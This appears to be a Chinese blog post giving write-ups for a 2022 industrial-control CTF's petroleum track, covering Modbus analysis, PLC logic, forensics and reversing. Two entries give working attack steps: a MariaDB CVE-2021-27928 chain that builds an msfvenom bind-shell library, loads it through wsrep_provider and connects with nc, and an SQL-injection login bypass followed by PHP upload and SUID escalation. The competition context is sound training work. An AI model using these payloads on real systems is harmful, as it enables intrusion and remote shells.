2022年第六届 工业信息安全技能大赛 石油行业赛道赛 WriteUp

工控协议 - 协议分析-modbus |

题干:(c88d00000008010f00030005011b)

根据题目提示MODBUS, 00 00 协议标识,可知使用0x0f(15)功能码,为写多个线圈

构造响应报文,内容为:

0f 00 03 00 05 功能码+地址高低位+寄存器高低位

有效数据共6位

所以最后构造响应报文

flag{c88d00000006010f00030005}

工控组态 - PLC程序计算 |

根据梯形图分析,如果tag-9设置成15后,运算过程为15*100<5

结果为:1011101110000000

应急溯源 - 隐藏的flag |

伪加密,解压后得到guess.txt,其为png,修改后缀后,修改png高度

工控协议 - PLC异常 |

根据题干,检查流量,发现异常数据帧

对照前后请求包

根据施耐德MODBUS协议规则,去掉前两位0025开头时间戳,将结果转为10进制(数值0-7),

再进行hex 得到结果

flag{21Yuybrt31}

工控组态 - 程序运算 |

工控组态 - 工程解密 |

下载文件,发现是777.PCZ,使用力控恢复工程,发现有密码,使用弱口令123456破解成功。

点击开发,发现字符串 U2FsdGVkX1/At2Tnw2Tvyn6Mxex9glsVncCrtZrZSgg= ,由于是U2Fs开头,怀疑是对称加密。

搜索在线对称加解密,通过提示,尝试3333333和777,发现777是密钥,得到flag。

应急溯源 - 发现非法操作 |

下载文件,发现流量包,用wireshark打开。

追踪TCP流,选择原始数据,观察。

根据题目提示,工控日志审计发出了异常告警,推测长度最长的数据可能存在问题。将第二项Time值尝试输入系统,经验证得到374条的21.163351为正确flag。

工控协议 - 流量分析-ABB |

应急溯源 - 隐藏的信息 |

直接二进制搜索 flag

flag{dq2022#$8}

应急溯源 - 不完美勒索 |

date 2022.9.6 && time 08:30:1 && rc

工控组态 - 工程项目分析 |

用TIA v17打开,在左侧树状结构中寻找, 工程 - 语言和资源 - 项目文本 ,有一串字符就是flag

flag{2578882ae35973c9353550de34a35883}

应急溯源 - 被入侵的数控系统 |

hex+ base64

flag{thisDnctypeisM80}

石油集输场景 - 油气管网 |

有actuator泄漏,

这里有个上传接口。

下载heapdump文件,使用mat查看数据库的密码

mariadb有CVE-2021-27928,生成payload:msfvenom -p linux/x64/shell_bind_tcp LPORT=4555 -f elf-so -o bind4555.so

使用接口上传so文件

mysql -u root -p -h 10.20.1.82 -e 'SET GLOBAL wsrep_provider="/opt/upload/bind4555.so;'

使用nc连接,得到shell

废液处理场景 - 废水处理管理系统 |

system/login.php,登陆有注入,可以使用paylad

'union seselectlect 1,1,'c4ca4238a0b923820dcc509a6f75849b',1,'0

登陆

登陆后,系统设置,网站logo有任意文件上传,可以上传.pHp

查找suid程序,有个env

执行/usr/bin/env cat /root/flag.txt

F | 工控逆向 - SignMe |

分析流程 MFC程序 - Winmain主程序。整个分析完。主要就是输入ZCTF及密码。

会经过一系统复杂运算。最后来一个xxtea解密。

 tea(half_password_ptr, size / 8, key);
 
 // //key: 1Eh, 0FFFFFF87h, 4Ah, 0FFFFFFB1h
int __cdecl tea(unsigned int *pwd_hex, int n16, int key)
{
  unsigned int v3; // ecx
  unsigned int v4; // edx
  int v6; // [esp+14h] [ebp-18h]
  unsigned int sum; // [esp+1Ch] [ebp-10h]
  unsigned int v8; // [esp+20h] [ebp-Ch]
  int i; // [esp+28h] [ebp-4h]

  v8 = *pwd_hex;
  for ( sum = 0x9E3779B9 * (52 / n16 + 6); sum; sum += 0x61C88647 )
  {
    v6 = (sum >> 2) & 3;
    for ( i = n16 - 1; i; --i )
    {
      v3 = pwd_hex[i]
         - (((pwd_hex[i - 1] ^ *(_DWORD *)(key + 4 * (v6 ^ i & 3))) + (v8 ^ sum)) ^ (((16 * pwd_hex[i - 1]) ^ (v8 >> 3))
                                                                                   + ((4 * v8) ^ (pwd_hex[i - 1] >> 5))));
      pwd_hex[i] = v3;
      v8 = v3;
    }
    v4 = *pwd_hex
       - (((pwd_hex[n16 - 1] ^ *(_DWORD *)(key + 4 * v6)) + (v8 ^ sum)) ^ (((16 * pwd_hex[n16 - 1]) ^ (v8 >> 3))
                                                                         + ((4 * v8) ^ (pwd_hex[n16 - 1] >> 5))));
    *pwd_hex = v4;
    v8 = v4;
  }
  return 0;
}

解密脚本

from ctypes import *


def MX(z, y, total, key, p, e):
    temp1 = (z.value >> 5 ^ y.value << 2) + (y.value >> 3 ^ z.value << 4)
    temp2 = (total.value ^ y.value) + (key[(p & 3) ^ e.value] ^ z.value)

    return c_uint32(temp1 ^ temp2)


def encrypt(n, v, key):
    delta = 0x9e3779b9
    rounds = 6 + 52 // n

    total = c_uint32(0)
    z = c_uint32(v[n - 1])
    e = c_uint32(0)

    while rounds > 0:
        total.value += delta
        e.value = (total.value >> 2) & 3
        for p in range(n - 1):
            y = c_uint32(v[p + 1])
            v[p] = c_uint32(v[p] + MX(z, y, total, key, p, e).value).value
            z.value = v[p]
        y = c_uint32(v[0])
        v[n - 1] = c_uint32(v[n - 1] + MX(z, y, total, key, n - 1, e).value).value
        z.value = v[n - 1]
        rounds -= 1

    return v


if __name__ == "__main__":
    # 该算法中每次可加密不只64bit的数据,并且加密的轮数由加密数据长度决定
    k = [0x0000001E, 0xFFFFFF87, 0x0000004A, 0xFFFFFFB1]
    v = list(b'ZCTF')
    # v = [0x11111111,0x11111111,0x11111111,0x11111111]
    n = 4

    print("Data is : ", hex(v[0]), hex(v[1]))
    res = encrypt(n, v, k)
    print(f"Encrypted data is : ", ','.join(hex(x) for x in res))

W | 废液处理场景 - 废液处理操作站 |

W | 废液处理场景 - 废液启动MV2阀 |

W | 废液处理场景 - 废液系统运行状态控制 |

W | 工控协议 - 智能通信 |

W | 石油集输场景 - 油气技术操作员站 |

W | 石油集输场景 - 阀组切换 |

W | 石油集输场景 - 油泵运行频率篡改 |

W | 工控逆向 - 无根果 |

posted @ 2022-09-30 13:15  wgf4242  阅读(304)  评论(0编辑  收藏  举报